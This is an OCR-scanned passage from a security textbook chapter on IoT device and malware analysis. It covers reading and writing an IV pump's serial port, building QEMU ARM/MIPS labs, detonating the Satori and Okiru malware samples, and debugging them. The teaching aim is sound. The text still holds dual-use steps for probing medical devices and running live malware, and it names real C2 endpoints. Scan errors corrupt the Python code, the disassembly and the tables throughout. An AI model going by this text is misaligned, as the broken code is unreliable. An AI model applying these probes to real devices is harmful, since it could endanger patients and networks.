Now you need to make sure the USB device has been identified by Ubuntu by 
executing the Isusb command. The output should display the device you just saw in the 
menu in the previous step, plus other devices already present 1n the system. Here's an 
example: 


XpLOiT:-$ lsusb 

Bus 001 Device 004: ID 0403:6001 Future Technology Devices International, Ltd 
FT232 USB-Serial (UART) IC 

Bus 001 Device 002: ID 80ee:0021 VirtualBox USB Tablet 

Bus O01 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub 


Now that you know the USB device 1s connected to your Ubuntu box, there are many 
ways to interact with 1t, depending on the client you are using. Here are three ways to 
identify your USB: 


GXpLOiT:-$ ls /dev/ttyUSBO 
GXpLOiT:-$ ls /dev/serial/by-path/pci-0000\,:00\:06.0-usb-0\:2\:1.0-porto 
GXpLOiT:-$ ls /dev/serial/by-id/usb-FTDI FT232R USB UART Al104WBLI-if00-port0 


Looks like everything is set for your production test. However, you still do not know 
the serial communication configuration (1n other words, the values of the baud rate as 


well as the parity and stop bits). There are three ways to approach this. The easiest 
method is to look for technical manuals about the device and try to find those 
parameters. The second option 1s to brute-force the values until you find the right ones. 
This should be fast because the available baud rates are around 5. The final option 1s to 
use a logic analyzer. You can think of this device as a sniffer for the serial port. It 
identifies pulses being sent and measures what is called the “frequency between those 
pulses," which eventually can help you to identify the baud rate. It also helps to identify 
the serial port's transmit and receive pins, like in this exercise. If you noticed, only two 
cables from the RJ-45 connector were used for this purpose. The Saleae logic analyzer 
is recommended for this task, although it 1s expensive. For this exercise, a logic 
analyzer was used to 1dentify the parameters. 

Let's create a quick script to read from the serial port and see what you get. You can 
use Python's *serial" module for this. Here 1s an example of a serial port reading. You 
can see that we are using the */dev/ttyUSBO" device to interact with the port and are 
using a baud rate of 57600, which 1s taken from the logic analyzer: 


if | name == " main =": 

port = '/dev/ttyUSBO0' 

ser = serlal.Serial(port, 
baudrate=57600, 
bytesize-serial.EIGHTBITS, 
parity-serial.PARITY NONE, 
stopbits-serial.STOPBITS ONE, 
rtscts-False, 
dsratr=False, 
xonxoff=False, 
timeout-0, 
# Blocking writes 
writeTimeoutsNone) 


tlast - time.time() 
lined - False 
mysum = 0 
while True: 

C = ser.read(1) 


print binascii.hexlify(c) 


Run this script and turn on the IV pump to see if you get something. Voila! You start 
getting data—actually, the same data 1s sent every 2 seconds, which looks like a 
heartbeat or synchronization data. This confirms you have properly identified the 
receive pin! In Figure 25-8, you can see the test just run explained. 
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Figure 25-8 Receiving data from the IV pump serial port 





What about the transmit pin? You need to see 1f you can send something and get a 
response. At the end of the day, if you want to break— sorry, to interact with—the IV 
pump, you need to be able to send data through the serial port. 

To send data, you just need to use the following line of code. You also need to send 
back to the pump the same data you received to see 1f you get something different: 


ser.write(*\xfd\x00\x00\x£fb\x7d\xEc’ ) 


Success again! In Figure 25-9, you can see that after sending some bytes to the port, 
you get a different response (“\xfd\x90\x00\x8d\xfc\x16’), which confirms two things: 
one, your transmit pin 1s properly working, and, two, the IV pump 1s reacting differently 
based on the data sent. 


Cun pLOLT:~/Scripts$ sudo python pump-sertal.py 


7d 
fe 


fd 
90 


fc 
6xi6 





Figure 25-9 Transmitting data to the IV Pump serial port 





At this point, I should thank John McMaster for his great contribution! His experience 
and equipment were invaluable to this exercise. Also, thanks to Zingbox, Inc., for 
supporting these kinds of efforts (that 1s, trying to identify issues with medical devices 
proactively and working with the affected vendors). Unfortunately, we cannot publish 
more details at this point because it is an ongoing investigation. However, at this stage, 
it 1s Just about understanding the serial packets, playing or fuzzing them to see 1f we can 
accomplish unexpected behavior. If you are interested in the latest findings on this 
device, go to 


Setting Up the Threat Lab 


Traditional malware runs 1n Windows environments, and tools like sandboxes and 
virtual machines already support these systems transparently. However, when dealing 
with IoT malware, two different architectures are put into place that are far from being 
supported transparently. These two architectures are ARM and MIPS, and in this 
section, we discuss multiple options for emulating those environments in what we'll 
call our “threat lab.” As a quick overview, here are the different ways to get a system up 
and running for the ARM and MIPS architectures: 


e Use a QEMU (short for “Quick Emulator"). QEMU is an open source 
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machine emulator and virtualizer. This 1s the most common way to emulate the 
ARM and MIPS architectures, and it's very convenient for malware analysis 
because snapshots can be used to avoid permanent changes in the hard disk. 


* Use a development platform such as BeagleBone or Raspberry Pi. Although 
not recommended for malware analysis, sometimes you need to run the malware 
in a real environment. The good news is that these boards can always be reimaged 
1f needed. 


* Use a sandbox such as the Cuckoo sandbox. Cuckoo can be customized to run 
ARM and MIPS because, behind the scenes, it uses QEMU for the emulation part. 
However, the results are still limited and far from the details you can obtain in 
Linux environments, especially in terms of process execution indicators. Also the 
Volatility plug-in is not supported. Still, it’s worth mentioning the effort done by 
the team at https://linux.huntingmalware.com/, who were able to make Cuckoo 
available. 


In the next section, we use emulation through QEMU because it is the most stable and 
mature platform for emulation. 


ARM and MIPS Overview 


Before we start playing with ARM and MIPS, let’s quickly look at what these 
architectures are and how they work. ARM and MIPS are reduced instruction set 
computers (RISCs) whose instruction set architectures (ISAs) have sets of attributes that 
allow them to have lower cycles per instruction (CPI) and low operating voltages. This 
reduces energy consumption, allowing these architectures to run on small devices (so- 
called embedded devices) like a wristband with Wi-Fi capabilities or a finger ring with 
Bluetooth connectivity. This architecture is different from the complex instruction set 
computing (CISC) used by x86 processors found in the Windows and macOS X laptops 
used on a daily basis. These RISC architectures support 32-bit and 64-bit versions. 

ARM offers a 16-bit-long instruction set called Thumb that is basically a compressed 
representation of the 32-bit instruction set, decompressed in real time, allowing for 
code size reduction that directly impacts application performance. 

Although both architectures are commonly used in game consoles, like those from 
Nintendo and PlayStation, and in network equipment such as routers and residential 
gateways, there is one main distinction: ARM 1s the architecture of choice for mobile 
devices and is the most commonly supported 1n development boards like the 
BeagleBone and Raspberry P1. 

Although the binaries are wrapped in the ELF Linux binary format, the header of the 
binary will describe the machine and object file type. Figure 25-10 displays the ELF 


header. For a full understanding of the entire structure, refer to the great description 
from CMU provided in the “For Further Reading" section. 


#define EI NIDENT 16 


typedef struct { 
unsigned char e ident[EI NIDENT]; 


Elf32 Half e type; 

Elf32 Half e machine; 
E1f32 Word e version; 
Elf32 Addr e entry; 
Elf32 Off e phoff; 
E1f32 Off e shoff; 
Elf32 Word e flags; 
Elf32 Half e ehsize; 
El1f32 Half e phentsize; 
E1f32 Half e phnum; 
Elf32 Half e shentsize; 
El1f32 Half e shnum; 
Elf32 Half e shstrndx; 


} Elf32 Ehdr; 





Figure 25-10 ELF binary header 





By looking at the header, you can see that the first 4 bytes of the e 1dent member 
(which has a size of 16 bytes) represent the magic number as \x7F\x45\x4c\x46, which is 
always the same across architectures. However, right after those 16 bytes, the e type (2 
bytes) and e machine (2 bytes) display the type of object being loaded. We are 
interested 1n the number 2, which corresponds to an executable file, and the machine 
type, which for ARM is equal to 0x28 and for MIPS 1s equal to 0x08. In Figure 25-11, 
you can clearly see this; 1f you look at offset 16 (0x10 hexadecimal), you can see the 
fields just described. 


&hexdump -C armel |head -n 
Tf 4c 


#hexdump -C mips-lsb |head -n 
Tf 4c 4 | 





Figure 25-11 ELF header machine identification 
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Also, 1t 1s important to understand that these architectures can support different 
instruction sets. For example, ARMEL supports the ARMv4 version (mainly used for 
compatibility 1ssues), and ARMHF supports the ARMv7 platform (for the latest 
technologies). The endianness 1s also important to properly execute the binary; MIPS 
supports big-endian and MISEL little-endian. 

More specific details are provided in the next sections for those architectures, while 
we dig more into their internals. 


Lab 25-1: Setting Up Systems with QEMU 


Following are the requirements to replicate the lab: 


e Physical PC Referred to as P-PC in this lab, this can be your Windows, Linux, 
or macOS X machine where VirtualBox will be installed. 


e Ubuntu 16.04 on VirtualBox Referred as Ubuntu- VM in this lab, this is the 
machine where QEMU will be installed to emulate IoT devices. 

e QEMU ARM/MIPS Referred as QEMU-Guest in this lab, these are the 
machines emulating the ARM and MIPS environments. 


* VNC client Used to connect to Ubuntu- VM during QEMU-Guest bootup 
(optional). 


Multiple sites on the Internet describe methods for getting ARM and MIPS up and 
running. After a lot of tries, we found a great repository of pre-built VMs for ARM and 
MIPS at https://people.debian.org/% 7Eaurel32/qemu/ (thanks to Aurelien Jarno for 
uploading these). 

As you can see in the repository displayed in Figure 25-12, multiple directories 
represent the architectures supported, and inside each directory, all the necessary files 
and command lines are presented. 


Index of /~aurel32/qemu 


Name 


a Parent Directory 


G amdéd/ 








Last modified 


Size Description 


2014-01-06 18:29 - 
(zi armel/ 2014-01-06 18:29 = 
armhf/ 2014-01-06 18:29 - 
1386/ 2014-01-06 18:29 - 





C3 kfreebsd-amd64/ 
G kfireebsd-i386/ 


2014-01-06 18:29 - 
2014-01-06 18:29 - 











3 mips/ 2015-03-15 19:07 - 
C mipsel/ 2014-06-22 09:55 = 
C powerpe / 2014-01-06 18:29 - 
D sna 2014-01-06 18:29  - 
BD sparc/ 2014-01-06 18:29  - 





Figure 25-12 QEMU VMs repository 





Download all the wheezy release binaries from the “armel” directory into your 
Ubuntu- VM. Also, make sure you configure the Ubuntu- VM in bridge mode. 





armel supports older versions and is very useful when dealing with legacy systems. 


Now fire up the ARM system by executing the following command: 


qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd 
initrd.img-3.2.0-4-versatile -hda debian wheezy armel standard.qcow2 -append 
"root-/dev/sdal" -monitor stdio -vnc 192.168.1.200:1 -redir tcp:6666::22 


The monitor option provides a QEMU shell to interact with QEMU-Guest, which 1s 
useful to shut down the machine 1n case something goes wrong. We also add the vnc 
option, providing the IP address of the Ubuntu- VM to spawn a VNC Server instance on 
port 5901 by default. A VNC client will be needed to access 1t; no credentials are 
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required, although those can be set via the QEMU shell. This 1s useful to watch the 
booting process and detect any problems during this phase. Finally, the redir option 1s 
used to connect to QEMU-Guest via SSH from Ubuntu- VM. This 1s done via port 
redirection because by default QEMU-Guest is configured as a NAT device and is not 
reachable directly. Therefore, we need to connect to local port 6666 on the Ubuntu- VM, 


which will be redirected to the QEMU-Guest machine on port 22 (SSH). Here's the 
command to use: 


ssh -p 6666 root@localhost 


The default username and password for the machine are both “root.” 
shows that the ARMEL system has started and we are already logged into the system. 


e 192.168.1.200:5901 (QEMU) - VNC Viewer 





Debian GNU/Linux 7 debian-armel 


debian-armel login: root 

Password: 

Last login: Mon Dec 11 23:14:18 UTC 2017 from 10.0.2.2 on pts/0 
IX debian-armel 3.2.0-4-versatile #1 Debian 3.2.51-1 armv5tejl 


The programs included with the Debian GNU/Linux system are tree software; 
the exact distribution terms for each program are described in the 


individual files in /usr/share/doc/*/copyright. 


= 


Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the 
permitted by applicable law. 

root@debian-armel:“# uname -a 

Linux debian-armel 3.2.0-4-versatile #1 Debian 3.2.51-1 armv5tejl GNU/Linux 
rooteédebian-armel:" 


Figure 25-13 Watching the boot process via a VNC client 
Now it’s time to install all the tools needed during our malware analysis: 


* GDBServer Allows us to perform remote debugging 
* Tepdump Allows us to capture network traffic 


e Strace Allows us to record syscalls during malware execution 


Before going any further, it is important to update the system by running the following 
command: 


root@debilan-armel:~#apt-get update 


Note that those pre-built images always throw the following error: 


N: There is no public key available for the following key IDs: S9D6D8F6BC857C906 
W: There is no public key available for the following key IDs: 7638D0442B90D010 
W: There is no public key available for the following key IDs: 7638D0442B90D010 


In order to fix this, execute the following command: 
rootGdebian-armel:-4 apt-get install debian-keyring debian-archive-keyring 


Now, execute the update command again and it should work. Finally, the necessary 
tools are installed as follows: 


root@deblan-armel:~# apt-get install gdb tcpdump strace 


Now that all the tools needed are installed, you are ready to run the malware. 
However, that is outside the scope of this exercise. See Lab 25-2 for those details. Note 
that you can follow exactly the same process to run other architectures such as MIPS 
through QEMU. You just need to download the proper files from the repository. 


Dynamic Analysis of IoT Malware 


As mentioned earlier, multiple options are available to execute Windows-based 
malware in a monitored environment to extract indicators dynamically. Solutions such 
as Cuckoo Sandbox and Payload Security are two examples. However, when it comes 
to dynamic analysis on ARM or MIPS, there is still no solid solution—at least one 
that’s freely available. Therefore, we need to create our own environments. Lab 25-2 
details the steps to follow to replicate an IoT malware known as Satori and extract 
network- and host-based indicators. 


Lab 25-2: IoT Malware Dynamic Analysis 

Before starting this lab, note that we will be using real malware found in the wild. 
Therefore, you are highly encouraged to run it in a virtual environment, totally 
segregated from your corporate or home network. It 1s also recommended that you make 
sure any inbound communications started from the guest VM to the host machine are 
rejected. 


sample MDS to be used during this Lab = 
ad52832a507cede6521e11556f7cbb95 


Fire up your armel emulated machine via QEMU, as previously described in Lab 25- 
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1, but this time with a significant change: you need to add the option -snapshot to the 
command line to prevent the malware from causing permanent damage on the guest's 
hard disk. With this option, the next time you reboot the machine, any modifications 
made by the malware will be gone, which perfectly fits our need during malware 
analysis. We do not want to reuse an infected host multiple times; 1t must be a fresh start 
for each iteration. You can monitor the booting process via VNC access. Once the login 
prompt appears, copy the malware (470.arm) to QEMU via the following scp command: 


scp -P 6666 470.arm root@localhost: 


In case you forgot, the credentials are root/root. Once the file 1s copied successfully, 
log into the ARM machine and make sure the file is there. Then change the permissions 
to 755 and get ready for execution! 

You will need another shell in order to run tepdump to capture network traffic. You 
can start the network traffic capture with the following command: 


# tcpdump -i ethO -n host 10.0.2.15 and tcp or udp and not port 23 -w 2 15.pcap 


We are basically saying to listen on network interface ethO and only focus on the IP of 
the guest machine and only listen to TCP or UDP ports (to avoid ARP or other noisy 
traffic). Also, because we are dealing with Mirai-based malware, we want to avoid 
port 23, which is normally used for scanning the Internet and will quickly increase the 
size of our capture file with the same destination port. It is highly recommended that you 
avoid doing this on your local network because your IP might be banned by your ISP. 

On another terminal, trace the execution of the malware by executing the following 
command. Probably the most important options are -f for following child processes 
(very important since Mirai-based malware uses fork to eventually hide from the parent 
process) and -o for storing the gathered 1nformation into a file. 


#strace -f -q -s 100 -o satori.out ./470.arm 


Once strace and tcpdump are running, you can always monitor the size of those files 
and transfer the current captured file at intervals. Depending on the malware, it can be 
left running for minutes, hours, or even days. For this lab, after 5 minutes you can stop 
the malware execution (normally by shutting down the machine). 

By taking a look at the captured traffic, you can identify the attacker's host (C2) where 
the malware 1s trying to connect, as shown in Figure 25-14. 


Source Destination Protocol Length Info 
18. 8. 2. 15 8. 8. 8. 8 DNS 82 standard query: 9x3730 A network. SEGUE com 





T "aL a L i | j - i "k.bi [a] 
10. 9. 2. 15 8. 8. 8. B DNS 82 Standard query OX1C4B A TEEWOLTS bigbotpein. com 





Figure 25-14 C2 used by the malware 


If you want more details about the actions performed on that site, you can take a look 
at the satori.out output file, where you can easily identify a telnet connection to the 
resolved IP 177.67.82.48, as shown in Figure 25-15. 


, F SETFL, O RDHR|O NONBLOCK) = © 
O, {sa_family=AF_INET, sin_port=htons(23), el QE177.67.82. 46 )}, 





Figure 25-15 Telnet connection with the C2 


The duration of this particular capture shows an infinite loop of the malware trying to 
get a response from the host, which is not available at the time of testing. That’s the 
normal behavior of Mirai-based malware, waiting to receive the command to be 
executed. 

Feel free to play with the malware or execute other samples following the same 
approach. You will eventually need a strace output parser for a good-looking report. 


Platform for Architecture-Neutral Dynamic Analysis 
(PANDA) 


PANDA is an open source platform for architecture-neutral dynamic analysis. Although 
it does not fully support MIPS and is in an early experimental phase, it 1s definitely a 
framework to keep an eye on. PANDA 1s being developed collaboratively among MIT 
Lincoln Laboratory, New York University (NYU), and Northeastern University. It 1s 
built on QEMU for emulation and adds the ability to record and replay malware 
executions multiple times, going through different plug-ins that allow for syscall 
monitoring, taint analysis, and so on. It also 1ncludes a mechanism to share functionality 
between plug-ins in order to avoid duplication of efforts. Unfortunately, we did not find 
a stable version during our ARM malware analysis, so we decided not to prepare a lab. 
However, be sure to keep an eye on PANDA and give 1t a try. If it can move into a stable 
release, 1t has the potential to be one of the must-have frameworks for IoT dynamic 
malware analysis. 

PANDA can be built from its GitHub repository, which also includes a Docker image 
to simplify the installation process. 


BeagleBone Black Board 


sometimes the malware won't run on a virtual machine or 1s heavily hardware 
dependent, or perhaps you are just reversing a piece of code of a Car infotainment. For 


Technet24 


those cases, a real device running an ARM system 1s highly recommended, and the 
BeagleBone Black board device 1s the way to go in this scenario: it cost less than $60 
and you can always re-flash the firmware if it gets affected by the malware. This board 
runs on a Cortex-A8 ARM system, with USB, Ethernet, HDMI, and 2 x 46 pin headers 
for connectivity. 

You just need to download the USB drivers for your computer, set up the SD card for 
booting, 1f needed (check the “For Further Reading" section for the Beaglebone Black 
Getting Started URL), and then just plug your BeagleBone device into your computer via 
USB, which should automatically assign you an IP in the 192.168.6.x or 192.168.7.x 
segment. Then you can use an SSH client to log into your ARM system that 1s waiting 
for you at the IP 192.168.7.2 or 192.168.6.2. 


Reverse Engineering IoT Malware 


Reverse engineering 1s a skill that requires knowledge of assembly, which 1s the 
language used by the microprocessors. The goal 1s to understand how a program works 
without having the source code. Traditionally, most of the work 1s done on Intel 
microprocessors running Windows or Linux operating systems, but with the exponential 
growth of IoT devices, the need to understand ARM and MIPS architectures 1s 
mandatory. This section summarizes the key concepts needed to be able to reverse- 
engineer malware running on these architectures. 


Crash-Course ARM/MIPS Instruction Set 


Before jumping into the IoT malware debugging, you need to understand key concepts 
that will make your life easier when reversing these type of threats. The good news 1s 
that the number of instructions in ARM/MIPS is significantly lower than in the x86 
architecture and therefore 1t won't be hard for you to get up to speed. 


Calling Convention 
As usual, when you're learning new architectures, understanding the calling convention 
is mandatory. You need to understand how the parameters are passed to the functions 
and where you get the response back. 

Let's create some quick ARM code and compile it to see the calling convention in 
action: 


unsigned int funcion ( unsigned int, unsigned int, unsigned int, unsigned int, 
unsigned int, unsigned int, unsigned int ); 

unsigned int mifuncion ( void ) | 

return(funcion(0,1,2,3,4,5,6))0; 


} 


Now we just need to compile it with a cross-compiler: 


# ./arm-elf-gcc -02 -c call-arm.c -o call-arm 





NOTE A 


VM with cross-compilers and other useful tools like GDB and Objdump for 


ARM, MIPS, PowerPC, and many other architectures can be found at 
http://kozos.jp/vmimage/burning-asm.html. Note that this is the Japanese version. 


Let’s look at the disassembly by running the following command: 


# arm-elf-objdump -D call-arm 


Figure 25-16 shows the calling convention. We will refer to the assembly code based 
on the line numbers in the left column, starting with 0, 4, 8, c ... all the way to the line 


40. 


&m1ifuncion?: 


elabcead 
e92ddé00 
e3al sob? 
e24ddac 
e24cb6G64 
es3aldci4 
-Jer- I: [32] 0 
"Pepe o Q1 O]C. 
eẹe3a01001 
eldaccaügz 
-ET-I:EDUUE: 
es3aBgaggmg 
-JeTs In [25] 057 
eSédchos 
ebttttte 
e24bd80c 
eĝ9daĝf tt 


& UJ Lu LU Lu RJ 


. text: 


mow 
push 
mow 
sub 
sub 
mov 
TIRE 
str 
mow 
add 
fov 
mov 
str 
str 
bl 
sub 
Lam 





ip: 
ifp. 
r2, # 
sp, 
fp, 
ip. 
Lr, #5 
1p, 
rl. #] 
ip, 


EL. | Ae mm 
F3; i 


rg, #6 

lr, 

1p, | 

O «funcion? 

sp, Tp, #12 

sp, itp, sp, pc; 





Figure 25-16 ARM calling convention 





The numbers 0 to 3 @ are passed directly to the registers rO to r3 in the assembly 
code. Look at the line numbers 2c, 20, 8, and 28 (left side) in Figure 25-16. The 
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parameter with the value 4 is first moved to the register ip at line 14 and then stored in 
the stack via (stack pointer) register [sp] at line 1c. The same process is used for the 
parameter with the value 5; it is assigned at line 18 and then stored at [sp, #4] (stack 
pointer + 4) at line 30. Finally, for the last parameter with the value 6, its value is first 
calculated at line 24 by adding the current value of “ip = 4” (calculated at line 14), plus 
the current value of “r2 = 2” (assigned at line 8), for a total of 6. This 1s finally stored 
in the stack at offset [sp, #8] (stack pointer + 8) at line 34. 

Now let's do the same, but this time compile with MIPS toolchain (mips-elf-gcc). The 
result can be seen in Figure 25-17. Again, we will refer to the assembly code based on 
the line numbers along the left side. 


*mituncion?: 
2/bdffdo addiu Ssp. Sp, -40 


24020004 Li A ME 
afaż20010 SW vO,16(sp) 
E, 11 v1,5 
l1 vi, 6 
] nove al, zero 
24050001 Li al,1 
24060002 1i a2,2 
24070003 li EPE. 
afbf0020 SW ra,s/(s3p) 
aftasieild SW ¥1,20(sp) 
| c apoagaga jal E <m funcion?” 
afa20018 Siw ¥O,24(5p) 
afbf0020 Tw ra,32(5p) 
nop 
jr ra 
27bdtis28 addiu sp,sp, 48 


m AL minm = 
i ee ee T 





Figure 25-17 MIPS calling convention 





This time, the function parameters from 0 to 3 are passed directly via registers a0—a3 
at lines 14, 18, 1c, and 20 (left side). Then, the parameter with the value 4 1s assigned at 
line 4 and then stored at [stack pointer + 16]. Then, the parameter with the value 5 is 
assigned at line c and then stored at [stack pointer + 20] at line 28. Finally, the 
parameter with the value 6 1s assigned at line 10 and then stored at [stack pointer + 24] 
at line 30. 

Feel free to perform this same exercise for other architectures to validate the calling 
conventions. 


IoT Assembly Instruction Set Cheat Sheet 


Table 25-1 provides a pretty handy cheat sheet, where you can easily find the usage for 
common registers as well as operations that can aid 1n your reversing efforts. 


Instruction x86 


Passing function PUSH instruction 


parameters 


CALL instruction 


RETN instruction 


Calling functions 


Return address 


Instruction pointer EIP register 
Function return EAX register 
values 

Syscall SYSENTER 


SYSCALL (64-bit) 
Service ID: EAX 


Table 25-1 Miultiarchitecture Reference 


ARM 


RO-R3 registers 

If more parameters are 
needed, then they are 
passed via the stack 
pointer 


BX/BL registers 
LR register 

ARM, Thumb 
R15 (PC) register 


RO-R1 register 


SWI/SVC instruction 
Service ID: R7 or 
hardcoded 

Args: RO-R3 


MIPS 


AQ-A3 registers 

If more parameters are 
needed, then they are 
passed via the stack 
pointer 


JALR/JR/JAL registers 
RA register 


PC register 
V0-V1 register 


Service ID: VO register 
Args: A0-A2 


For full details for architecture-specific instructions, check the following URLs: 


e ARM http://infocenter.arm.com/help/topic/com.arm.doc.1hi0042f/THIO042F aap 
e MIPS www.mrc.uidaho.edu/mrc/people/jff/digital/MIPSir.html 


Lab 25-3: IDA Pro Remote Debugging and Reversing 


Here are the requirements for Lab 25-3: 


* [DA Pro licensed 
e Ubuntu 16.04 VM 


* MIPS Qemu environment (see Lab 25-1) 
e Okiru malware (MIPS 32-bit): okiru.mips (MD35: 
7a38eeb6ee 1 5bd89d50161b63061b763ea) 


Now that you are armed with an understanding of basic assembly instructions, we can 


start debugging malware. 
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E The best recommendations during this type of effort are to perform static 
analysis via a disassembler like IDA Pro or radare2 and to use dynamic debugging with 
a tool like IDA Pro, Immunity Debugger (OllyDBG fork), or GDB. 


This lab presents two approaches to debugging IoT malware: the quick approach via 
the QEMU stand-alone version, and the full system emulation via the QEMU system 
option. We will also discuss pros and cons of each approach. 


Emulating the Binary 
The fast way to start debugging an IoT malware sample is by emulating the binary only 
and not the entire system. This has some limitations, due to the restricted environment, 
and because network communication and system checks might fail, but it’s definitely a 
great and fast start to get into the malware details. 

To get this running, log into your Ubuntu VM (running VirtualBox in this case), copy 
the malware binary to the system (via SSH or drag and drop), and execute these 
commands in order: 


$ mkdir -/GH5 

$ cd -/GH5 

$ copy -/okiru.mips -/GH5/ 

S cp which qemu-mips - 

S chroot . ./qemu-mips -g 12345 ./okiru.mips 


Figure 25-18 shows that our instance has been started with QEMU, and thanks to the - 
g option, we have also spawned a GDBServer that has stopped the binary execution at 
the entry point and 1s waiting for a debugger to attach to it at TCP port 12345. 


-~/GH5$ sudo chroot . ./qemu-mips -g 12345 ./fokiru.mips 
[sudo] password for danux: 


1 


‚= [VMS sudo Lsof -i TCP:12345 
[sudo] password for danux: 
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME 
qemu-mips 19875 root 3u IPv4 1423073 Oto TCP *:12345 (LISTEN) 








Figure 25-18 Launching a stand-alone emulation with QEMU 





Now, on the system where IDA Pro is installed, open exactly the same okiru-mips 
binary just executed and then go to Debugger | Select Debugger | Remote GDB 
Debugger. 

select the Debugger | Process Options and fill out the options, making sure you enter 
the path of the binary as 1t appears 1n the Ubuntu VM (Debuggee), as well as the IP 
address and port, and then click OK (see Figure 25-19). 


e 60 §¥ Debug application setup: gdb 


NOTE: all paths must be valid on the remote computer 


Application [home/danux/GH5/okiru.mips v 
Input file /home/danux/GHS5/okiru.mips v 
Parameters 5 
Hostname 192.168.1.200 B3 Port 123848 B 

















Save network settings as default 


Help Cancel — BEL 





Figure 25-19 Debugger process options 


Last but not least, set a breakpoint at the entry point of the program in IDA (by 
pressing F2 on the desired line) to make sure the malware execution stops at the 
beginning. Although that is the expected behavior, sometimes it fails and executes all the 
way to the end. This 1s simply a sanity check. To run it, click Debugger | Start Process. 

A warning will prompt to make sure you know what you are doing. Click the Yes 
button. You should receive a message saying that there 1s a process already being 
debugged, which confirms we are heading in the right direction (see Figure 25-20). 
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main 4057FC: 


Ox 3B8 


= 

= 

= 
d i Fis i 
| m e mm 

= 

ea 

-— 

= 


There is already a process being debugged by remote. 
Do you want to attach to it? 





Figure 25-20 Confirmation of a process already being debugged 


If the process was successfully attached, you should receive a success message, as 
shown in Figure 25-21. If an error occurred, check the configured parameters. 


UI d 
23 Library function lll Regular function MI Instruction P Data 9 Unexplored fl External symbo 


e Debug View QA] Structures e Enums 
=] IDA View-PC © © XX General reg 


e 





Successfully attached to the process. | 
Now you can browse the process memory and set breakpoints. 


* — 


Don't display this message again 


-Globl init proc 


init proc: 


var 10= -0x10 
var Bm -8 


S9gp, 0x5313c 
c $t9 


T MM 





Figure 25-21 Success confirmation 


Finally, you can see IDA has stopped at the binary entry point at the address 0x400260 
(see Figure 25-22). From here, you can start stepping into every function (by pressing 
F7) or stepping out of functions (by pressing F8). 
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00400260 
t:00400260 move Szero, $ra 
00400264 bal loc 40026C 
00400268 nop 
0040026C 
0040026C loc 40026C: # CODE XREF: start+4T4 
0040026C li i PEU 3D 
00400274 addu Sgp; 5ra 
00400278 move ora, Szero 
0040027C la $a0, main_4057Fc 
00400280 lw Sal, arg_O(Ssep) 
00400284 addiu LI" Sap, arg_4 
00400288 li Sat, OxFFFFFFFS 
0040028C and $sp,; $at 
00400290 addiu Sep, -O0x20 
00400294 la $a3, _init proc 
00400298 la St0, term proc 
0040023C nop 
REDIERE TEE, $t0, Ox20+var_10($ep) 
004002A4 sw Sy0, 0x20+var C(S$sp) 
004002A8 sw Sap, Ox20+var 8($sp) 
004002AC la St9, sub 409078 
00400250 nop 
004002B4 jalr St9 ; sub 409078 ; 
em nop 5P i & MEMORY :76FFF800 
004002BC loc 4002BC: $ CODE XREF: start:loc - ndabic cdd 
004002BC b loc 4002BC 
004002C0 nop HI 
004002C0 # End of function start i 00400260 4, 
004002C0 
004002C0 
004002C4 
:004002D0 
004002D0 # | 








Figure 25-22 Debugger breakpoint at the entry point 


The limitation of this approach is that because the malware 1s not running in a full 
environment, it might fail during TCP/UDP connections or while trying to read/write at 
specific locations. To avoid this limitation, a full system emulation 1s recommended. 
For that, check the next section. 


Emulating the Full System 

Now let’s run the malware via full QEMU emulation. In order to do this, you can install 
a GDBServer inside the QEMU VM and then follow the same process to attach to the 
IDA Pro Debugger remotely. 

You can fire up your MIPS 32-bit system with the following command, taking into 
consideration the option -standalone, which makes sure there are no permanent changes 
in the image, and the redirection to port 12345, which will enable port redirection from 
the Ubuntu host machine port 12345 to QEMU VM port 12345, where GDBServer will 
be running: 


$ qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta 

-hda debian wheezy mips standard.qcow2 -append "root=/dev/sdal console=ttyo" 
-monitor stdio -standalone -vne 192.168.1.200:1 -redir tep:6666::22 

-redir tcp:12345::12345 


Once the system is up and running, you can copy the malware over to QEMU and fire 


up GDBServer on port 12345 with the malware attached: 


Sscp -P 6666 okiru-p.mips root@localhost: 

sssh -p 6666 root@localhost 

roote@deblan-mips:~# chmod 755 okiru.mips 

root@debian-mips:~# gdbserver -multi 0.0.0.0:12345 ./okiru-p.mips 


At this point, simply follow the same process described earlier to attach IDA Pro to 
the malware via GDBServer. The only difference 1s that the path on the MIPS system is 
/root/okiru-p.mips, so make this change accordingly. 

Figure 25-23 shows the GDBServer receiving the connection from IDA Pro Remote 
Debugger (IP 192.168.1.185). 


root@debian-mips:~# gdbserver --multi 6.6.6.0:12345 ./okiru-p.mips 
Process ./oKiru-p.mips created; pid = 2318 
Listenina on port 12345 


SHE ing from host 192.168.1.185 





Figure 25-23 Remote debugging on full QEMU system 





This time, because you have full emulation of the system, you can run iptables, 
tcpdump, strace, or any other tool to trace or restrict malware execution. 


IoT Malware Reversing Exercise 

At this point, we have all the environments ready to analyze IoT malware targeting the 

ARM and MIPS architectures, so let’s perform an exercise for reversing these threats. 
Looking at the sample being analyzed, you can see that it has been stripped of 

symbols. This is done to make the reverser’s life harder. Because we do not have 


function names, the time for analysis increases dramatically and sometimes isn’t even 
doable. 


S$ file okiru.mips 
Okiru.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), 
statically linked, stripped 


Fortunately, the syscalls are there, so either by creating an IDA Pro plug-in or by 
manually documenting the syscalls, you can start renaming those multiple functions. 

Figure 25-24 shows a syscall to the service ID 0x104C (passed via the VO register), 
which corresponds to the API getsockname. 
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:00407C90 sub 407C90: 
:00207C90 
::00407C90 
:00407C90 var 10-2 -0x10 
t:00407C90 var 8-2 -8 
:00407C90 var 4- -4 
,text:00407C90 
text:00407C90 li Sgp, 0x4B540 
text:00407C98 addu $gp, $t9 
text:00407C9C addiu Ssp, -0x20 
.text:00407CA0 sw Sra, Ox20+var_4(5sp) 
»text:O00407CA4 sw $s0, Ox20+var_8($sp) 
text:00407CAB8 sw Sgp, 0x20+var_10($sp) 
text:00407CAC 1i $v0O, OxlO4C 
text: syscall 0 











Figure 25-24 Renaming syscalls on MIPS 





You can find an excellent syscall reference for multiple architectures at 
. Kudos to whoever uploaded it. 
When you’re dealing with syscalls in ARM, the syntax is different. In newer versions, 
the sve command is used, and the service ID is hardcoded for every call. 
